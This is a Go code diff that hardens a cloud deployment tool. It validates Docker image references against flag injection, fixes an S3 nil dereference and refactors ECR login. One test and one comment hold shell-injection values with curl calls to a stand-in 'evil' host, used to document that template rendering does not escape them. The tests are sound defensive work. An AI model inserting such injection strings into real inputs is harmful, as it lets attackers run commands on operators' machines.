fix(services): nil-deref in deploy EmptyBucket, dead org-discovery Errors field, ecr dedup

internal/accounts/org_discovery.go

@@ -12,9 +12,10 @@ import (
 )
 
 // OrgDiscoveryResult holds the list of member accounts found during discovery.
+// Discovery is all-or-nothing: a pagination error is returned as a function
+// error, not accumulated here. There is no partial-success path.
 type OrgDiscoveryResult struct {
 	Accounts []config.CloudAccount
-	Errors   []error
 }
 
 // orgListAccountsClient is the minimal Organizations API surface needed for discovery.

internal/deploy/docker.go

@@ -5,9 +5,29 @@ import (
 	"log"
 	"os"
 	"os/exec"
+	"regexp"
 	"strings"
 )
 
+// validDockerRef matches safe Docker image reference components: must start
+// with an alphanumeric character (no leading hyphen -- leading hyphens would
+// be interpreted as flags by docker) and may then contain alphanumerics plus
+// the characters that appear in valid registry hosts, repository paths, tags,
+// and digest prefixes (dots, colons, slashes, at-signs, hyphens).
+var validDockerRef = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._/:@-]*$`)
+
+// validateDockerRef returns an error if ref is empty or contains characters
+// outside the safe set (including a leading hyphen).
+func validateDockerRef(label, ref string) error {
+	if ref == "" {
+		return fmt.Errorf("docker %s must not be empty", label)
+	}
+	if !validDockerRef.MatchString(ref) {
+		return fmt.Errorf("docker %s contains invalid characters: %q", label, ref)
+	}
+	return nil
+}
+
 // DockerService handles Docker operations.
 type DockerService struct {
 	CmdRunner CommandRunner
@@ -22,6 +42,12 @@ func NewDockerService(cmdRunner CommandRunner) *DockerService {
 
 // BuildImage builds a Docker image with the specified architecture and tag.
 func (s *DockerService) BuildImage(architecture, tag, imageName string) error {
+	if err := validateDockerRef("tag", tag); err != nil {
+		return err
+	}
+	if err := validateDockerRef("image name", imageName); err != nil {
+		return err
+	}
 	platform := fmt.Sprintf("linux/%s", architecture)
 	return s.CmdRunner.Run("docker", "build",
 		"--platform", platform,
@@ -31,11 +57,20 @@ func (s *DockerService) BuildImage(architecture, tag, imageName string) error {
 
 // TagImage tags a Docker image with a new name.
 func (s *DockerService) TagImage(sourceTag, targetTag string) error {
+	if err := validateDockerRef("source tag", sourceTag); err != nil {
+		return err
+	}
+	if err := validateDockerRef("target tag", targetTag); err != nil {
+		return err
+	}
 	return s.CmdRunner.Run("docker", "tag", sourceTag, targetTag)
 }
 
 // PushImage pushes a Docker image to a registry.
 func (s *DockerService) PushImage(imageTag string) error {
+	if err := validateDockerRef("image tag", imageTag); err != nil {
+		return err
+	}
 	return s.CmdRunner.Run("docker", "push", imageTag)
 }
 

internal/deploy/docker_test.go

@@ -2,6 +2,7 @@ package deploy
 
 import (
 	"errors"
+	"strings"
 	"testing"
 )
 
@@ -218,3 +219,95 @@ func TestNewDefaultCommandRunner(t *testing.T) {
 		t.Error("expected non-nil runner")
 	}
 }
+
+// TestDockerService_TagValidation verifies that leading-dash and other unsafe
+// values are rejected before being passed to exec.Command (07-N1).
+func TestDockerService_TagValidation(t *testing.T) {
+	cases := []struct {
+		name        string
+		fn          func(*DockerService) error
+		wantErrFrag string
+	}{
+		{
+			name:        "BuildImage leading-dash tag",
+			fn:          func(s *DockerService) error { return s.BuildImage("arm64", "-v", "myimage") },
+			wantErrFrag: "invalid characters",
+		},
+		{
+			name:        "BuildImage leading-dash imageName",
+			fn:          func(s *DockerService) error { return s.BuildImage("arm64", "latest", "-rm") },
+			wantErrFrag: "invalid characters",
+		},
+		{
+			name:        "BuildImage empty tag",
+			fn:          func(s *DockerService) error { return s.BuildImage("arm64", "", "myimage") },
+			wantErrFrag: "must not be empty",
+		},
+		{
+			name:        "TagImage invalid source",
+			fn:          func(s *DockerService) error { return s.TagImage("--no-trunc", "target:tag") },
+			wantErrFrag: "invalid characters",
+		},
+		{
+			name:        "TagImage invalid target",
+			fn:          func(s *DockerService) error { return s.TagImage("source:tag", "--rm") },
+			wantErrFrag: "invalid characters",
+		},
+		{
+			name:        "PushImage invalid tag",
+			fn:          func(s *DockerService) error { return s.PushImage("--all-tags") },
+			wantErrFrag: "invalid characters",
+		},
+		{
+			name:        "PushImage empty tag",
+			fn:          func(s *DockerService) error { return s.PushImage("") },
+			wantErrFrag: "must not be empty",
+		},
+	}
+
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			service := NewDockerService(&MockCommandRunner{})
+			err := tc.fn(service)
+			if err == nil {
+				t.Fatal("expected validation error, got nil")
+			}
+			if !strings.Contains(err.Error(), tc.wantErrFrag) {
+				t.Errorf("expected error containing %q, got: %v", tc.wantErrFrag, err)
+			}
+		})
+	}
+}
+
+// TestDockerService_TagValidation_ValidRefs confirms that legitimate image
+// references (with dots, colons, slashes, hyphens) are accepted.
+func TestDockerService_TagValidation_ValidRefs(t *testing.T) {
+	cases := []struct {
+		name string
+		fn   func(*DockerService) error
+	}{
+		{
+			name: "ECR-style tag",
+			fn: func(s *DockerService) error {
+				return s.PushImage("123456789012.dkr.ecr.us-east-1.amazonaws.com/myrepo:v1.2.3")
+			},
+		},
+		{
+			name: "simple tag with hyphen",
+			fn:   func(s *DockerService) error { return s.PushImage("myimage:v1-rc1") },
+		},
+		{
+			name: "digest reference",
+			fn:   func(s *DockerService) error { return s.PushImage("myimage@sha256:abc123") },
+		},
+	}
+
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			service := NewDockerService(&MockCommandRunner{})
+			if err := tc.fn(service); err != nil {
+				t.Errorf("unexpected validation error for valid ref: %v", err)
+			}
+		})
+	}
+}

internal/deploy/ecr.go

@@ -92,19 +92,11 @@ func (s *ECRService) LoginToPublicECR(ctx context.Context) error {
 		return fmt.Errorf("no authorization data returned from public ECR")
 	}
 
-	// Decode the base64 token
-	tokenBytes, err := base64.StdEncoding.DecodeString(*result.AuthorizationData.AuthorizationToken)
+	password, err := decodeBase64Token(*result.AuthorizationData.AuthorizationToken)
 	if err != nil {
-		return fmt.Errorf("failed to decode auth token: %w", err)
+		return fmt.Errorf("failed to decode public ECR auth token: %w", err)
 	}
 
-	// Token format is "AWS:<password>"
-	parts := strings.SplitN(string(tokenBytes), ":", 2)
-	if len(parts) != 2 {
-		return fmt.Errorf("unexpected token format")
-	}
-	password := parts[1]
-
 	// Login to Docker using the token
 	if err := s.CmdRunner.RunWithStdin("docker", password, "login", "--username", "AWS", "--password-stdin", "public.ecr.aws"); err != nil {
 		return fmt.Errorf("docker login failed: %w", err)

internal/deploy/ecr_test.go

@@ -4,6 +4,7 @@ import (
 	"context"
 	"encoding/base64"
 	"errors"
+	"strings"
 	"testing"
 
 	"github.com/aws/aws-sdk-go-v2/aws"
@@ -362,7 +363,9 @@ func TestECRService_LoginToPublicECR_NilAuthToken(t *testing.T) {
 }
 
 func TestECRService_LoginToPublicECR_InvalidTokenFormat(t *testing.T) {
-	// Valid base64 but no colon in the decoded string
+	// Valid base64 but no colon in the decoded string.
+	// The refactored code delegates to decodeBase64Token, which returns a more
+	// descriptive error wrapped by the caller (07-L4).
 	token := base64.StdEncoding.EncodeToString([]byte("invalidformat"))
 	mockPublicClient := &MockECRPublicClient{
 		GetAuthorizationTokenFunc: func(ctx context.Context, params *ecrpublic.GetAuthorizationTokenInput, optFns ...func(*ecrpublic.Options)) (*ecrpublic.GetAuthorizationTokenOutput, error) {
@@ -379,7 +382,8 @@ func TestECRService_LoginToPublicECR_InvalidTokenFormat(t *testing.T) {
 	if err == nil {
 		t.Error("expected error for invalid token format, got nil")
 	}
-	if err.Error() != "unexpected token format" {
-		t.Errorf("unexpected error message: %v", err)
+	// decodeBase64Token now produces the precise message; caller wraps it.
+	if !strings.Contains(err.Error(), "invalid token format") {
+		t.Errorf("expected error to mention 'invalid token format', got: %v", err)
 	}
 }

internal/deploy/frontend.go

@@ -268,11 +268,12 @@ func (s *FrontendService) EmptyBucket(ctx context.Context, bucketName string) er
 			return err
 		}
 
-		// Check for per-object errors
+		// Check for per-object errors. Key and Message are *string and can be
+		// nil when only the Code field is set; use aws.ToString for safe access.
 		if len(deleteResult.Errors) > 0 {
 			var errMsgs []string
 			for _, delErr := range deleteResult.Errors {
-				errMsgs = append(errMsgs, *delErr.Key+": "+*delErr.Message)
+				errMsgs = append(errMsgs, aws.ToString(delErr.Key)+": "+aws.ToString(delErr.Message))
 			}
 			return fmt.Errorf("failed to delete some objects: %s", strings.Join(errMsgs, "; "))
 		}

internal/deploy/frontend_test.go

@@ -3,6 +3,7 @@ package deploy
 import (
 	"context"
 	"errors"
+	"strings"
 	"testing"
 
 	"github.com/aws/aws-sdk-go-v2/aws"
@@ -298,6 +299,80 @@ func TestFrontendService_EmptyBucket_DeleteError(t *testing.T) {
 	}
 }
 
+// TestFrontendService_EmptyBucket_PerObjectErrorNilFields is a regression test
+// for the nil-deref bug (07-M4): S3 DeleteObjects can return an Error with a
+// nil Key or nil Message (e.g. when only the Code field is set). The old code
+// dereferenced both unconditionally, causing a panic during bucket teardown.
+// aws.ToString is now used so nil fields produce an empty string instead.
+func TestFrontendService_EmptyBucket_PerObjectErrorNilFields(t *testing.T) {
+	mockS3Client := &MockS3Client{
+		ListObjectsV2Func: func(ctx context.Context, params *s3.ListObjectsV2Input, optFns ...func(*s3.Options)) (*s3.ListObjectsV2Output, error) {
+			return &s3.ListObjectsV2Output{
+				Contents: []s3types.Object{
+					{Key: aws.String("file1.html")},
+				},
+				IsTruncated: aws.Bool(false),
+			}, nil
+		},
+		DeleteObjectsFunc: func(ctx context.Context, params *s3.DeleteObjectsInput, optFns ...func(*s3.Options)) (*s3.DeleteObjectsOutput, error) {
+			// Simulate an S3 per-object error where Key and Message are nil
+			// (only Code is set), which the old code would panic on.
+			return &s3.DeleteObjectsOutput{
+				Errors: []s3types.Error{
+					{Code: aws.String("InternalError"), Key: nil, Message: nil},
+				},
+			}, nil
+		},
+	}
+
+	service := NewFrontendService(mockS3Client, nil, nil)
+
+	// Must return an error (not panic) even with nil Key/Message fields.
+	err := service.EmptyBucket(context.Background(), "my-bucket")
+	if err == nil {
+		t.Fatal("expected error from per-object S3 error, got nil")
+	}
+	if !strings.Contains(err.Error(), "failed to delete some objects") {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+// TestFrontendService_EmptyBucket_PerObjectErrorWithFields confirms that when
+// Key and Message are populated the error message includes them.
+func TestFrontendService_EmptyBucket_PerObjectErrorWithFields(t *testing.T) {
+	mockS3Client := &MockS3Client{
+		ListObjectsV2Func: func(ctx context.Context, params *s3.ListObjectsV2Input, optFns ...func(*s3.Options)) (*s3.ListObjectsV2Output, error) {
+			return &s3.ListObjectsV2Output{
+				Contents: []s3types.Object{
+					{Key: aws.String("file2.js")},
+				},
+				IsTruncated: aws.Bool(false),
+			}, nil
+		},
+		DeleteObjectsFunc: func(ctx context.Context, params *s3.DeleteObjectsInput, optFns ...func(*s3.Options)) (*s3.DeleteObjectsOutput, error) {
+			return &s3.DeleteObjectsOutput{
+				Errors: []s3types.Error{
+					{
+						Code:    aws.String("AccessDenied"),
+						Key:     aws.String("file2.js"),
+						Message: aws.String("access denied"),
+					},
+				},
+			}, nil
+		},
+	}
+
+	service := NewFrontendService(mockS3Client, nil, nil)
+
+	err := service.EmptyBucket(context.Background(), "my-bucket")
+	if err == nil {
+		t.Fatal("expected error, got nil")
+	}
+	if !strings.Contains(err.Error(), "file2.js") {
+		t.Errorf("expected error to contain object key, got: %v", err)
+	}
+}
+
 func TestFrontendService_FindFrontendDir_Found(t *testing.T) {
 	// The project has a frontend directory, so this should succeed
 	service := NewFrontendService(nil, nil, nil)

internal/iacfiles/embed.go

@@ -1,5 +1,14 @@
 // Package iacfiles embeds federation IaC templates into the binary.
 // Templates are rendered by handler_federation.go with per-account substitutions.
+//
+// Security note: the templates use text/template, which performs no shell
+// escaping. Fields such as ContactEmail, AccountName, CUDlyAPIURL, and
+// AccountSlug originate partly from self-service registration payloads (user-
+// controlled) and are interpolated directly into generated bash scripts. The
+// renderer (internal/api/handler_federation.go) is responsible for validating
+// and/or quoting these fields before calling template.Execute so that a value
+// containing shell metacharacters (e.g. "; curl evil;") cannot inject commands
+// into the script shown to the operator.
 package iacfiles
 
 import "embed"

internal/iacfiles/templates_test.go

@@ -200,8 +200,30 @@ func TestCLITemplatesAutoRegister(t *testing.T) {
 	}
 }
 
+// TestCLITemplatesShellMetacharsPassThrough confirms that text/template does
+// not shell-escape interpolated values. This is intentional: the templates are
+// designed to be downloaded and inspected by an operator, not auto-executed.
+// The renderer (handler_federation.go) is responsible for validating fields
+// before execution so that user-controlled values cannot inject shell commands.
+func TestCLITemplatesShellMetacharsPassThrough(t *testing.T) {
+	// Craft a ContactEmail that contains shell metacharacters. If the template
+	// engine were to shell-escape this, the output would differ from the input.
+	data := baseData()
+	data.ContactEmail = `ops@example.com"; curl https://evil.example.com; echo "`
+
+	rendered := renderCLITemplate(t, "templates/aws-cross-account-cli.sh.tmpl", data)
+
+	// The raw metacharacter string must appear verbatim in the rendered output,
+	// confirming that text/template does NOT escape it. The test documents the
+	// invariant that the renderer MUST validate ContactEmail (and similar fields)
+	// before calling template.Execute.
+	if !strings.Contains(rendered, data.ContactEmail) {
+		t.Errorf("expected raw ContactEmail (including metacharacters) to appear verbatim in rendered template; renderer must validate this field before execution")
+	}
+}
+
 // TestCLITemplatesOmitRegisterBlock proves the auto-register section is gated
-// on CUDlyAPIURL — when it's empty, the block disappears entirely.
+// on CUDlyAPIURL -- when it's empty, the block disappears entirely.
 func TestCLITemplatesOmitRegisterBlock(t *testing.T) {
 	data := baseData()
 	data.CUDlyAPIURL = ""